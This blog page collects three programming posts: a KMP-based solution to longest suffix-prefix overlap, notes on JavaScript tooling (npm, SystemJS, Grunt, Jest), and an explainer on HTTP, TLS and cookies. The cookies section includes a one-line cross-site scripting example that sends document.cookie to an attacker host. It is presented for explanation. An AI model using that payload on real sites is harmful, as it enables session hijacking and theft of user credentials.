Tool to explain the matching system

The Longest Prefix-Suffix String Overlap problem

I thought about the tree ring matching for a while and realized this can be reduced to the problem of finding the longest overlap between the suffix and prefix of two strings. More formally, given strings A and B, find the longest suffix of A that is also a prefix of B.

This problem can be easily solved using a simple quadratic algorithm, which is is probably fast enough for real world instances, possibly in the order of thousands of rings. In Python, we can use the array access to do:

def longest_suffix_prefix_naive(suffix, prefix):
    minlen = min(len(prefix), len(suffix))
    max_match = 0
    for match_len in range(1, minlen + 1):
        if prefix[:match_len] == suffix[-match_len:]:
            max_match = match_len
    return max_match

In the code above, A is named suffix and B prefix.

But can we do better? This problem resembles a string search problem, where we are given a text T and a query string Q and want to find whether Q appears in T as substring. One famous algorithm to solve this problem is the KMP, named after their authors Knuth Morris and Pratt (Morris came up with the algorithm independently from Knuth and Pratt) which is linear on the size of T and Q.

We’ll see how to use the ideas behind the KMP to solve our problem. So let’s start by reviewing the KMP algorithm.

The KMP Algorithm: A refresher

The most straightforward way to search for a query Q in a text is for every character in T, check if Q occurs in that position:

def substr(Q, T):

    tlen = len(T)
    qlen = len(Q)

    for i, _ in enumerate(T):
        match = 0
        # Searches for Q starting from position i in T
        while match < qlen and \
              i + match < tlen and \
              Q[match] == T[i + match]:
            match += 1

        if match == qlen:
            print 'found substring in position', i

Avoiding redundant searches

Imagine that our query string had no repeated characters. How could we improve the search?

Q = abcde
T = abcdfabcde
        ^ mismatch in position 4

If we were using our naive idea, after failing to find Q in position 4, we’d need to start the search over from T(1) = 'b'. But since all characters are different in Q, we know that there’s no 'a' between positions 1 and 3 because they matched the rest of strings of Q, so we can safely ignore positions 1 to 3 and continue from position 4.

The only case we would need to look back would be if 'a' appeared between 1 and 3, which would also mean 'a' appeared more than once in Q. For example, we could have

Q = ababac
T = ababadac...
         ^ mismatch in position 5

When there is a mismatch in position 5, we need to go back to position 2, because 'abababac' could potentially be there. Let MM be the current mismatched string, 'ababad' above and M the string we had right before the mismatch, i.e., MM without the last letter, in our case, 'ababa'. Note that M is necessarily a prefix of Q (because MM is the first mismatch).

The string M = 'ababa', has a potential of containing Q because it has a longest proper suffix that is also a prefix of Q, 'aba'. Why is it important to be a proper prefix? We saw that M is a prefix of Q, hence the longest suffix of M that is a prefix of Q would be M itself. We are already searched for M and know it will be a mismatch, so we’re interested in something besides it.

Let’s define LSP(A, B) as being the length of the longest proper suffix of A that is a prefix of B. For example, LSP(M, Q) = len('aba') = 3. If we find a mismatch MM, we know we need to go back LSP(M, Q) positions in M to restart the search, but we also know that the first LSP(M, Q) positions will be a match in Q, so we can skip the first LSP(M, Q) letters from Q. In our previous example we have:

Q =   ababac
T = ababadac...
         ^ continue search from here 
           (not from position 2)

We’ll have another mismatch but now MM = 'abad' and LSP(M, Q) = len('a') = 1. Using the same logic the next step will be:

Q =     ababac
T = ababadac...
         ^ continue search from here 
           (not from position 2)

Now MM = 'ad' and LSP(M, Q) = 0. Now we shouldn’t go back any positions, but also won’t skip any characters from Q:

Q =      ababac
T = ababadac...
         ^ continue search from here

If we know LSP(M, Q) it’s easy to know how many characters to skip. We can simplify LSP(M, Q) by noting that M is a prefix of Q and can be unambiguously represented by its length, that is M = prefix(Q, len(M)). Let lsp(i) = LSP(prefix(Q, i), Q). Then LSP(M, Q) = lsp(len(M)). Since lsp() only depends on Q, so we can pre-compute lsp(i) for all i = 0 to len(Q) - 1.

Suppose we have lsp ready. The KMP algorithm would be:

def kmp(Q, T):

    lsp = precompute_lsp(Q)

    i = 0
    j = 0

    qlen = len(Q)
    tlen = len(T)

    while i < tlen and j < qlen:

        if j < qlen and Q[j] == T[i]:
            j += 1
            i += 1
        elif j > 0:
            j = lsp[j - 1]
        else:
            i += 1

        # string was found
        if j == qlen:
            print i - j

We have to handle 3 cases inside the loop:

1: A match, in which case we keep searching both in T, Q.

2: A mismatch, but there’s a chance Q could appear inside the mismatched part, so we move Q the necessary amount, but leave T.

3: A mismatch, but there’s no chance Q could appear in the mismatched part, in which case we can advance T.

This algorithm is simple but it’s not easy to see it’s linear. The argument behind it is very clever. First, observe that lsp[j] < j, because we only account for proper suffixes. It’s clear that i is bounded by len(T), but it might not increase in all iterations of the while loop. The key observation is that (i - j) is also bounded by len(T). Now in the first condition, i increases while (i - j) remains constant. In the second, i might remain constant but j decreases and hence (i - j) increases. So every iteration either i or (i - j) increases, so at most 2T iterations can occur.

The pre-computed lsp

How can we pre-compute the lsp array? One simple idea is to, for every suffix of Q, find the maximum prefix it forms with Q. In the following code, i denotes the start of the suffix and j the start of the prefix.

def precompute_lsp_naive(Q):
    qlen = len(Q)
    lsp = [0]*qlen

    i = 1
    while i < qlen :

        j = 0
        while (i + j < qlen and Q[j] == Q[i + j]):
            lsp[i + j] = max(lsp[i + j], j + 1)
            j += 1

        i += 1
    return lsp

The problem is that this code is O(len(Q)^2). In practice len(Q) should be much less than len(T), but we can do in O(len(Q)), using a similar idea from the main idea of the KMP, but this time trying to find Q in itself.

philosopher

The main difference now is that we’ll compute lsp on the fly. While searching for Q in Q, when we have a matching prefix, we update the lsp. When we have a mismatch, instead of re-setting the search to the beginning of Q we skip some characters given by the lsp. This works because j < i and we had lsp(k) for k <= i defined. In the following code, the only changes we performed were adding the lsp attribution and having T = Q.

def precompute_lsp(Q):

    qlen = len(Q)

    lsp = [0]*qlen

    i = 1
    j = 0
    while i < qlen:

        if Q[j] == Q[i]:
            j += 1
            i += 1
            # We only added this line
            lsp[i - 1] = j 
        elif j > 0:
            j = lsp[j - 1] 
        else:
            i += 1

    return lsp

We can use exactly the same arguments from the main code of KMP to prove this routine is O(len(Q)). The total complexity of KMP is O(len(Q) + len(T)).

Solving our problem

At this point we can observe that the problem we were initially trying to solve, that is, find the lsp(A, B), is the core of the KMP algorithm. We can search B, the prefix, in A, the suffix. If we can keep track of the indices i and j, we just need to find when i equals to the length of T, which means there was a (partial) match of B in the suffix of A.

We can generalize our kmp function to accept a callback that yields the indices of the strings at any step:

def kmp_generic(Q, T, yield_indices):

    lsp = precompute_lsp(Q)

    i = 0
    j = 0

    qlen = len(Q)
    tlen = len(T)

    while i < tlen:

        if j < qlen and Q[j] == T[i]:
            j += 1
            i += 1
        elif j > 0:
            j = lsp[j - 1]
        else:
            i += 1

        yield_indices(i, j)

Now, if we want an array with the indices of all occurrences of Q in T, we can do:

def kmp_all_matches(Q, T):
    matches = []
    qlen = len(Q)
    def match_accumulator(i, j):
        if j == qlen:
            matches.append(i - j)
    kmp_generic(Q, T, match_accumulator)
    return matches

Here we use a nested function as our callback. We can also use kmp_generic to solve our original problem:

def longest_suffix_prefix(suffix, prefix):
    slen = len(suffix)
    max_match = [None]
    def max_matcher(i, j):
        if max_match[0] is None and i == slen:
            max_match[0] = j

    # Search prefix in suffix
    kmp(prefix, suffix, max_matcher)

    return 0 if max_match[0] is None else max_match[0]

Note that the nested function has read-only access to the variables in the scope of the outer function, like max_match and slen. To be able to share data with the nested function, we have to work with references, so we define max_match as a single-element array.

Conclusion

I used to participate in programming competitions. One of the most interesting parts of the problems are their statements. It’s usually an interesting random story from which you have to extract the actual computer science problem. A lot of the times though, the problem writer thinks about a problem and then how to create a story around that problem. It’s nice when we can find real-world problems that can be modelled as classic computer science problems.

I’ve used the KMP several times in the past but never took the time to study it carefully until now, which only happened because I wrote it down as a post.

References

[1] Wikipedia – Knuth–Morris–Pratt algorithm
[2] Annual Growth Rings


Developing a project in Javascript

February 14, 2016

I’ve worked with several small Javascript side-projects. The amount of Javascript libraries and frameworks is overwhelming, especially in recent times.

In the past, I would write a couple of stand-alone Javascript files from scratch. As applications get bigger and more complex, new libraries for improving project development have been created.

I decided to look around for best practices to develop open source JavaScript applications these days. This post is a set of notes describing my findings.

We’ll discuss libraries that solves different needs for software projects including libraries, modularization, automated building, linter and finally testing frameworks.

Packages/Libraries

npm-logo

Javascript doesn’t have an official package management. There has been an effort to standartize how Javascript libraries are distributed. With Node.js, came its package manager that npm (node package manager), that was initially indented for Node.js packages, but can also be used for general libraries, independent of Node.js itself.

To work with npm, we need to write a configuration file, called package.json. In this file, which is a JSON, we can define metadata when building a library, including title, version and the dependencies of other libraries. A sample configuration looks like this:

{
  "name": "my_project",
  "version": "0.0.1",
  "description": "Description of my project",
  "devDependencies": {
    "browserify": "~5.11.0",
    "uglifyify": "^2.5.0"
  }
}

Dependencies

In the dependencies, we have to specify the versions. A version (more specifically semantic version or semver) consists of three parts numbers separated by '.'. The last number should be bumped on small changes, like bug fixes, without change on functionality. The middle number, aka minor version, should be bumped whenever new features are added, but that are back-compatible. Finally, the first number, aka major version, should be bumped whenever back-incompatible changes are made [1].

In package.json, you can specify a hard-coded version number or be more relaxed. If we use the '~' in front of the version, for example ~5.11.0, it means we accept the most recent version of form 5.11.x. On the other hand, if we use the '^', for example ^2.5.0, we accept the most recent version of the form 2.x.x.

The dependencies of a package can be either production or development dependencies. In our case, browserify and uglify are only used for building our package and not a dependency our code has, so it doesn’t make sense to ship those to the user of the library.

To parse the configuration in package.json, we can run:

npm install --save-dev

This will download the dependencies listed under devDependencies locally in the directory node_modules (created in the same directory the package.json is). To run the production dependencies, we can do:

npm install --save

Modules

Modules are useful for splitting code in related units and enables reuse. JavaScript doesn’t have a native module system, so some libraries were built to address the modularization problem. There are three main types of module systems around: AMD (Asynchronous Module Definition), CommonJS and the ES6 loader. Addy Osmani discusses the differences between those in [2].

There are several implementations for modules, including RequireJS (AMD), browserify (uses the node.js module system, which uses CommonJS). SystemJS is able to work with all these different types.

I had been working with browserify, but it seems better to adopt the ES6 standards, so I’ve switched to SystemJS. Another advantage of SystemJS is that is also allows ES6 syntax by transpiling the code using BabelJS.

To use SystemJS we need to define a configuration file (analogous to package.json), named config.js (don’t worry about it for now).

Exporting

Named exports. We can have multiple export statements within a single file or provide all exports within a single statement [3]. Example:

/** 
 * my_module.js
 */
function foo() {
  console.log('foo');
}
function bar() {
  console.log('bar');
}
// Nested export
export {
  foo,
  // baz is what will be available externally
  bar as baz,
};
// Flat, inline export
export function derp() {
  console.log('derp');
}

Default exports. We can export default items in a module (the reason will be clear when we talk about importing next). We show the syntax for both the inline and the named exports:

// Nested 
export {
  foo as default,
};
// Inline export
export default function() {
  console.log('derp');
}

Importing

We have 3 basic ways to import from a module.

1. Name all items we want to pick from the module.

import {foo, baz as 'bar'} from 'my_module';

2. Do not provide any specific item, in which case we’ll import the default export:

import the_default_export from 'my_module';
// Equivalent to
import {default as 'the_default_export'} from 'my_module'

3. Import all item from the module under a ‘namespace’, basically

import * as everything from 'my_module'
// 'everything' is an object 
// {
//    foo,
//    baz,
//    default,
//    derp
// }

NPM Packages

To be able to import NPM packages, we have to download them first and for that we can use the jspm.io tool. For example, I was interested in the point-in-polygon package. Instead of running the npm command, we can use jspm:

// Download jspm 
npm install --global jspm
// Install the desired npm package
jspm install npm:point-in-polygon

Running jspm will write to the config.js file (it creates one if it doesn’t exist). This will write a map from where the module got installed and the name you can use in code to import it. Since npm packages use the CommonJS syntax and SystemJS understands it, in code we can simply do:

import {default as pointInsidePolygon} from 'point-in-polygon';

Building

The process of running commands like SystemJS can be automated. One idea is writing Makefiles to run command line. Another option is to use JavaScript frameworka, such as Grunt and Gulp. In this post we’ll stick to Grunt.

To configure a build, we need to provide another configuration file, called Gruntfile.js (should live in the same directory as the package.json). You provide an object to grunt.initConfig(), which contains tasks configurations.

module.exports = function(grunt) {

  var taskList = ['systemjs', 'uglify'];

  grunt.initConfig({
    pkg: grunt.file.readJSON('package.json'),
    systemjs: {
        options: {
            'configFile': './config.js'
        },
        dist: {
            'src': '<root JS file>',
            'dest': '<compiled file with all dependencies together>'
        }
    },
  });

  grunt.loadNpmTasks("grunt-systemjs-builder");
  grunt.registerTask('default', ['systemjs']);
};

With grunt.registerTask('default', ['systemjs']) we’re telling grunt to run the systemjs task whenever we run grunt from the command line.

It’s possible to run grunt automatically upon changes to JS files via the watch task. First, we need to install the plugin:

npm install grunt-contrib-watch --save-dev

Then we configure it in Gruntfile.js:

grunt.initConfig({
    ...
    watch: {
      browser_js: {
        files: ['**/*.js', '!node_modules/**/*', '!dist/**/*'],
        tasks: taskList,
      }
    },
});
...
grunt.loadNpmTasks('grunt-contrib-watch');

Here taskList is an array of task names. It can be the same one provided to the default task. Make sure to blacklist some directories like dist, which is the output directory of the systemjs task (otherwise we’ll get an infinite loop). Finally we run:

grunt watch

Now, whenever we perform a change to any JS file it will run the task.

Minification

Since Javascript code is interpreted on the client (browser), the source code must be downloaded from the server. Having a large source code is not efficient from a network perspective, so often these libraries are available as a minified file (often with extension min.js to differentiate from the unminified version).

The source code can be compressed by removing extra spaces, renaming variables, etc, without changing the program. One popular tool to achieve this is UglifyJS.

To use it with Grunt, we can install the grunt-contrib-uglify module:

npm install grunt-contrib-uglify --save-dev

And in our Gruntfile.js:

grunt.initConfig({
    ...
    uglify: {
        compact: {
            files: {
                './dist/<project>.min.js': ['./dist/<project>.js']
            }
        }
    },
    ...
}
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.registerTask('default', ['systemjs', 'uglify']);

Linting

Lint tools help us avoiding bugs, sticking to code conventions and improving code quality. One popular tool for linting is jshint. Other alternatives include jslint. JSHint has a Grunt plugin:

grunt.initConfig({
    ...
    jshint: {
        files: [
            '**/*.js',
            '!node_modules/**/*',
            '!jspm_packages/**/*',
            '!dist/**/*'
        ],
        options: {
            'esnext': true,
        }
    },
    ...
}
grunt.loadNpmTasks('grunt-contrib-jshint');
grunt.registerTask('lint', ['jshint']);

The basic configuration here makes sure to blacklist “production” directories like node_module and dist. Also, since we’ve been adopting ES6, we can set the esnext flag to tell jshint to account for the new syntax.

We probably don’t want to run the lint every time we update the JS file. We can run it less often, for example before sending code for review. Thus, we can create a separate registry for it using grunt.registerTask('lint', ['jshint']). We can now run jshint via the command line:

grunt lint

Testing

Another practice to avoid bugs is testing, including unit tests. Again, there are several libraries and frameworks that makes the job of unit testing less painful, for example easy ways to mock dependencies so we can test isolated functionality. In this case, I’ve picked Jest, which has a grunt task available in npm, which we can install via:

npm install grunt-jest --save-dev

(NOTE: this will also install the jest-cli binary which depends on a Node.js version >= 4, so you might need to update your Node.js).

We can configure the grunt task with default configs in the following way:

grunt.initConfig({
    ...
    jest: {
    },
    ...
}
grunt.loadNpmTasks('grunt-jest');

With this setup we can run the following command to run jest tests:

grunt jest

Unfortunately, jest uses the CommonJS require syntax. It used to be possible to use babel-jest but after version 5.0 this setup doesn’t work anymore.

Conclusion

The JavaScript environment changes extremely fast and it’s very hard to keep on top of the latest frameworks/practices, etc.

To make things worse, for every task like module system, linting, testing, there are many alternatives and none of them is a clear best choice.

I’m happy that there’s an effort of standardization with ES6. I think the more we stick to one convention the more we reduce re-inventing the wheel, the less syntax differences to learn, etc.

References

[1] Semantic versioning and npm
[2] Writing Modular JavaScript With AMD, CommonJS & ES Harmony
[3] ECMAScript 6 modules: the final syntax

Further Reading

Generation Javascript. Manuel Bernhardt discusses the current state of JavaScript libraries and how the low friction nature of developing in JavaScript has its downsides.

Essential JavaScript Links. Eric Elliott’s list of links to several books, articles and tools concerning to JavaScript. It provides a much more comprehensive list of options for the different topics we covered in this post.


HTTP Basics

January 17, 2016

In this post we’ll cover basic concepts of the HTTP protocol, and its variants, including the HTTP over TSL, commonly known as HTTPS. We’ll also talk about related features such as cookies and the next generation of HTTP.

internet

Introduction

HTTP is the acronym for Hypertext Transfer Protocol [1]. It’s a application level protocol, intended to be used between a client and a server. A common use case is a web browser acting as a client and a remote machine providing the contents of a given website acting as the server.

It assumes a reliable underlying transfer level protocol, and this is often TCP (we talked a bit about transport protocols in a previous post).

The original version of HTTP was defined in RFC1945 in 96. The current most popular implementation is of HTTP/1.1 (RFC2068, in 97). The HTTP/2.0 spec was recently finished (RFC7540 in 2015).

The protocol consists of two parts: first, the client sends a request to a server. Then, the server sends a response back.

HTTP Request

When a client want to connect to a server, it create a request message, that has a common format:

GET /index.html HTTP/1.1
Host: www.example.com

There are a specific commands a requester can send, defined in the HTTP/1.1 specification, including:

* GET – should be use to request data. GET requests should not have major side effects, for example writing to databases, though bumping a counter to track the number of visitors, is fine. This is a guideline though, but is not enforced. It’s up to the application to protect against malicious GET requests.

* HEAD – similar to GET, but the response should only contain the head of the response, without the body

* POST – should be able to cause side effects. Often times the results of forms are sent to the server as a POST request. Additional data is sent in the request body message as opposed to GET requests, where data is sent as part of the URL.

* OPTIONS – returns the list of available HTTP commands this server implements.

* PUT – replaces the content of the address specified by the URI.

* DELETE – deletes the content of the address specified by the URI.

* TRACE – displays the request message got by the server

GET and POST are the most common commands in the context of Browser/Server communication. Methods such as PUT and DELETE can be seen in applications like Elasticsearch.

We can test some of these commands using the curl command line:

> curl -X GET https://www.google.com/
...
HTML contents
...

If we try TRACE, we get an error back (405):

> curl -X TRACE https://www.google.com/
...
Error 405 (Method Not Allowed)!!1

HTTP Response

After the server processes the request, it will return a response. The first line of the response it the status code and a textual reason phrase (note that this phrase are not standard, so clients should not rely on error messages).

The most common response header is

HTTP/1.1 200 OK

and

HTTP/1.1 404 File not found

The HTTP specification defines 5 groups of response status code, based on the response nature. The status code always has 3 digits, and the first digit represents the group:

* Informational 1XX
* Successful 2XX
* Redirection 3XX
* Client Error 4XX
* Server Error 5XX

And example response, for example [1]:

Date: Mon, 23 May 2005 22:38:34 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
ETag: "3f80f-1b6-3e1cb03b"
Content-Type: text/html; charset=UTF-8
Content-Length: 138
Accept-Ranges: bytes
Connection: close

<html>
<head>
  <title>An Example Page</title>
</head>
<body>
  Hello World, this is a very simple HTML document.
</body>
</html>

The first lines represent the response header. After a blank line follows the response.

HTTPS – HTTP over TSL

HTTPS was specified over SSL (Secure Sockets Layer), but SSL has security flaws, and have been since evolved to a more robust layer, TSL, which stands for Transport Layer Security.

Motivation. One problem with HTTP is that the request/response are exchanged over an unsecured network. It’s possible for an attacker to intercept an user connection with the server and to have access to both request and responses. This is a common form of attack known at Man-in-the-middle attack.

By adding an encryption layer, the entire HTTP message can be encrypted using TSL. TSL idea is the following [6]:

* The client sends connection request to the server, providing a list of ciphers it can use (e.g. RSA) and a list of ways it can hash the data for integrity check (e.g. MD5 and SHA-1).

* The server sends as response a digital certificate and its public key,

* In one implementation, the client generates a random number associated with the current session, encrypts it using the server’s public key, and send it to the server. Both client and server now have a shared key to encrypt and decrypt data, so they can use a symmetric key encryption such as AES (Advanced Encryption Standard).

The advantage of this above only using the public key of the server to encrypt the message (like a plain RSA implementation), associating this to the session adds forward secrecy. This is to add some security to the scenario in which someone saves all the encrypted messages and some day manages to steal the server’s private key. In that case, it would be able to decrypt all the stored messages, but by generating an unique key every time, the attacker would need to also store the initial message containing the session key and associate the session key to the message.

The digital certificate is issued by a Certificate Authority (CA), a common trusted third party such as Symantec, which will attest the site integrity. The structure of the certificate is defined by the X.509 standard.

Browsers already ship with a pre-installed list of trusted CAs, so when receiving a certificate from a trusted CA, the browser can look at the CA signature (which was encrypted with the CA private key) and decrypt it using the CA public key. The decrypted signature should match the information the browser has.

For untrusted CAs, it’s up to the user to decide whether to trust a particular CA.

In Chrome, to inspect the Certificates, we can go to Settings… > HTTPS/SSL > Manage Certificates… (on Mac it will open the Keychan application). In the Keychan app, look for System Roots and the Certificates Categories, we can see a list of trusted CAs, like the one below, form VeriSign:

Sample Certificate

Sample Certificate

Let’s Encrypt. In an ideal world, all HTTP connections would be secure, so no one could eavesdrop while you’re browsing the web. Several companies like Google encourage its use, by having Chrome force the use of HTTPS whenever possible and also boosting the rank of websites with https support.

One major obstacle for this is having to rely on a non-free and complicated procedure with third-party CAs. To address this problem, recently the Internet Security Research Group (ISRG) proposed a new way to issue certificates for free.

The key is how to simplify the process of proving a given agent owns a given domain, for example https://www.example.com. Let’s encrypt will ask the agent to perform an action only the domain owner can do, for example putting a file under it (say, https://www.example.com/file.txt) [7].

LE will then do a regular HTTPS request to get that file. Note that LE doesn’t have a trusted certificate for that domain, but it doesn’t need to this initial stage.

In addition, LE needs the agent’s public key and needs to validate it. This is simple: LE gets the agent’s public key, generates a random string and encrypts it with the agent’s public key. The agent will be able to decrypt the message using its own private key and then it encrypts it again using LE’s public key. It finally sends it back, and LE can also decrypt it. If the resulting key is the same it sent originally, it will associate the agent public key to the domain.

Now LE can issue certificates to that particular domain. Major browsers already trust LE as a Certificate Authority, so this require no extra work from the agent.

HTTP Cookies

One of the characteristics of HTTP requests is that they’re stateless. That means that in theory an HTTP request is independent from the previous HTTP request. One way to simulate a state is having the browser and server pass (meta)data around carrying state information. This extra data is basically implemented as an HTTP cookie.

The term cookie came from magic cookie (another programming term), which came from fortune cookie

The term cookie came from magic cookie (another programming term), which came from fortune cookie

Cookies are part of the HTTP protocol. A server can send a cookie to the browser in the HTTP response:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15-Jan-2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01-Jan-1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

In the example above, it’s sending three cookies back. The first part of the cookie is an expression <name>=<value>. The others are attributes like expiration date and path + domain. Path and domain are used to let the client know it should use these cookies for requests with the URLs matching that path and domain.

Types. Cookies can be named based on their characteristics:

* Session and Persistent cookies: when a cookie doesn’t have the expiration time set, it last only within the current session. That is, if the user reloads the page the cookie is gone. As opposed to a session cookie, a persistent cookie has the expiration time attribute set and will last until that time.

* Secure cookie: have the Secure attribute. It indicates that the browser should only use a cookie if it was sent in a secure connection (usually HTTPS).

* HTTP-Only cookie: have the HttpOnly attribute. It indicates that a cookie should only be transmitted via HTTP. This informs the browser to block non-HTTP APIs (such as JavaScript APIs) from modifying a cookie.

* First-party and Third-party cookies: if the Domain/Path attributes in the cookie is different from the server address, it’s called a third-party cookie. This can be used for user tracking. For example, an ads agency can partner with several websites so they deliver cookies for this agency. It this way, the ads agency can track user activity across different sites.

This is a bit controversial. In Chrome there is an option to disallow third-party cookies.

Settings > Show Advanced Settings… > Content Settings… > Block third-party cookies and site data

A lot of websites use cookies for creating authenticated sessions. It’s even more important to only use HTTPS connections in this scenario, because cookies are sent as plain text in the HTTP request header. There are many attacks that can be performed exploiting cookies:

Man-in-the-middle attacks. that can be used in a LAN network or public Wi-Fi network to hijack a cookie, by intercepting the HTTP requests and obtaining the cookies, as explained in detail here.

DNS Poisoning. Since browsers use the Domain/Path to decide whether to send a cookie in a request, attackers can hack the DNS server to make the domain specified in the cookie point to the attacker server, which would send the cookies to the attacker. If it’s an HTTPS connection, the request wouldn’t go through because the attacker won’t have a valid certificate.

Cross-site Scripting. The server might contain HTML poisoned with malicious JavaScript code which has access to cookies, and could send those as plain text to an attacker server:

<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

This would work even if the site we got the HTML from had a secure connection. This attack can be prevented if the cookies containing sensitive information have the httpOnly property.

SPDY and HTTP/2

SPDY is a protocol created by Google aiming to improve the performance of HTTP requests. The overview provided in their draft is very descriptive:

One of the bottlenecks of HTTP implementations is that HTTP relies on multiple connections for concurrency. This causes several problems, including additional round trips for connection setup, slow-start delays, and connection rationing by the client, where it tries to avoid opening too many connections to any single server. HTTP pipelining helps some, but only achieves partial multiplexing.

SPDY adds a framing layer for multiplexing multiple, concurrent streams across a single TCP connection (or any reliable transport stream). The framing layer is optimized for HTTP-like request-response streams, such that applications which run over HTTP today can work over SPDY with little or no change on behalf of the web application writer.

The SPDY session offers four improvements over HTTP:

* Multiplexed requests: There is no limit to the number of requests that can be issued concurrently over a single SPDY connection.

* Prioritized requests: Clients can request certain resources to be delivered first. This avoids the problem of congesting the network channel with non-critical resources when a high-priority request is pending.

* Compressed headers: Clients today send a significant amount of redundant data in the form of HTTP headers. Because a single web page may require 50 or 100 subrequests, this data is significant.

* Server pushed streams: Server Push enables content to be pushed from servers to clients without a request.

HTTP/2 is inspired on SPDY ideas. The majority of the browsers already support the HTTP/2 protocol, though only a bit over 6% of the websites use it as of January 2016.

Conclusion

While reading the material for this post, we’ve learned a lot of things, including

* Details of TLS, plus history of SSL and TLS
* Symmetric key encryption
* Man in the middle attacks
* Several network interception tools
* Forward secrecy
* Third-party HTTP cookies

Regarding encryption algorithms, I was familiar with RSA, and heard about elliptic curve encryption, though I have no idea how they work. I’m interested in learning more about the elliptic curve Diffie-Hellman algorithm.

There also several topics we didn’t cover like HTTP pipeline or general web attacks, such as heartbleed. This Wikipedia list is an interesting follow-up reading.

Overall it was very interesting to read about internet security.

References

[1] Wikipedia – Hypertext Transfer Protocol
[2] Wikipedia – HTTPS
[3] Wikipedia – Transport Layer Security
[4] Wikipedia – Advanced Encryption Standard
[5] Wikipedia – X.509 Standard
[6] Microsoft – Overview of SSL/TLS Encryption
[7] Let’s Encrypt – Technical Overview
[8] Wikipedia – HTTP cookie
[9] Grey Hats Speak – Sniffing HTTP On A LAN, MITM Attack
[10] Wikipedia – SPDY
[11] Wikipedia – HTTP/2


Follow

Get every new post delivered to your Inbox.

Join 174 other followers